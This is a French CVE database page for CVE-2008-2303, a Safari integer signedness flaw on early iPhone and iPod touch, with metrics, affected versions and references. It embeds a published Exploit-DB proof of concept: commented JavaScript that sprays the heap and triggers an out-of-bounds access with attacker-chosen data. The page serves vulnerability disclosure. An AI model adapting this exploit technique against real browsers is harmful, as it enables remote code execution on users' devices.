CVE-2008-2303 : Détail

CVE-2008-2303

20.5%V4
Network
2008-07-14
16h00 +00:00
2017-08-07
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer signedness error in Safari on Apple iPhone before 2.0 and iPod touch before 2.0 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors involving JavaScript array indices that trigger an out-of-bounds access, a different vulnerability than CVE-2008-2307.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32048

Date de publication : 2008-07-10 22h00 +00:00
Auteur : Hiromitsu Takagi
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/30186/info Apple iPhone and iPod touch are prone to multiple remote vulnerabilities: 1. A vulnerability that may allow users to spoof websites. 2. An information-disclosure vulnerability. 3. A buffer-overflow vulnerability. 4. Two memory-corruption vulnerabilities. Successfully exploiting these issues may allow attackers to execute arbitrary code, crash the affected application, obtain sensitive information, or direct unsuspecting victims to a spoofed site; other attacks are also possible. These issues affect iPhone 1.0 through 1.1.4 and iPod touch 1.1 through 1.1.4. <BODY> <SCRIPT src="HeapSpray2.js"></SCRIPT> <CODE id="sploit status"></CODE> <CODE id="heapspray status"></CODE> <SCRIPT> // The index for the "arguments" array in a JavaScript function in // Safari suffers from a signedness issue that allows access to elements // that are out of bounds. The index is cast to a signed value before it // is compared to the length of the array to check if it within the // bounds. Integer values larger than 0x8000,0000 will be cast to a // negative value and because they are always smaller then the length, // they are treated as a valid index. // The index into the arguments array ends up in instructions // that multiply it by 4 to access data in an array of 32 bit values. // There are no checks for overflows in this calculation. This allows us // to cause it to access anything in memory: // Pointer to object = base address + 4 * index // The base address varies only slightly and is normally about // 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a // predictable location using heap spraying, we can then calculate an // index that will access this memory. var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot. var iTargetArea = 0x10000000; // Be advised that heap spraying is "upside down" in Safari: strings // are allocated at high addresses first and as the heap grows, the // addresses go down. The heap will therefor grow in between a lot of // DLLs which reside in this area of the address space as well. // We&#039;ll need to find an area of memory to spray that is not likely to // contain a DLL and easy to reach. var iTargetAddress = 0x55555555; // iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex // 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed) var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0) // iIndex = (iTargetAddress - iBase) / 4 var iIndex = Math.floor(iRequiredMultiplicationResult / 4) // We need to trigger the signedness issue so the index must be larger // then 0x8000,0000. Because of the integer overflow in the // multiplication, we can safely add 0x4000,0000 as often as we want; // the multiplication will remove it from the result. while (iIndex < 0x80000000) iIndex += 0x40000000 document.getElementById("sploit status").innerHTML = ( "iBase + 4 * iIndex = " + "0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " + "0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>" ); // Set up heap spray var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF)) oHeapSpray.oOutputElement = document.getElementById("heapspray status") // Spray heap asynchronously and call sploit when done. oHeapSpray.spray(sploit) function sploit(oHeapSpray) { // This will cause an access violation using the value 0xDEADBEEF, // which comes from the strings we sprayed the heap with. // 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=???????? arguments[iIndex]; } function DWORD(iValue) { return String.fromCharCode(iValue & 0xFFFF, iValue >> 16) } </SCRIPT> </BODY>

Products Mentioned

Configuraton 0

Apple>>Iphone >> Version 1.0

Apple>>Iphone >> Version 1.1.3

    Apple>>Iphone >> Version 1.1.4

      Apple>>Iphone >> Version 1.02

      Apple>>Ipod_touch >> Version 1.1

      Apple>>Ipod_touch >> Version 1.1.1

      Apple>>Ipod_touch >> Version 1.1.2

      Apple>>Ipod_touch >> Version 1.1.3

        Apple>>Ipod_touch >> Version 1.1.4

          Apple>>Iphone_os >> Version 1.0.1

          Apple>>Iphone_os >> Version 1.0.2

          Apple>>Iphone_os >> Version 1.1.1

          Apple>>Iphone_os >> Version 1.1.2

          Apple>>Safari >> Version *

          Références

          http://www.securityfocus.com/bid/30186
          Tags : vdb-entry, x_refsource_BID
          http://secunia.com/advisories/32706
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://support.apple.com/kb/HT3298
          Tags : x_refsource_CONFIRM
          http://secunia.com/advisories/31074
          Tags : third-party-advisory, x_refsource_SECUNIA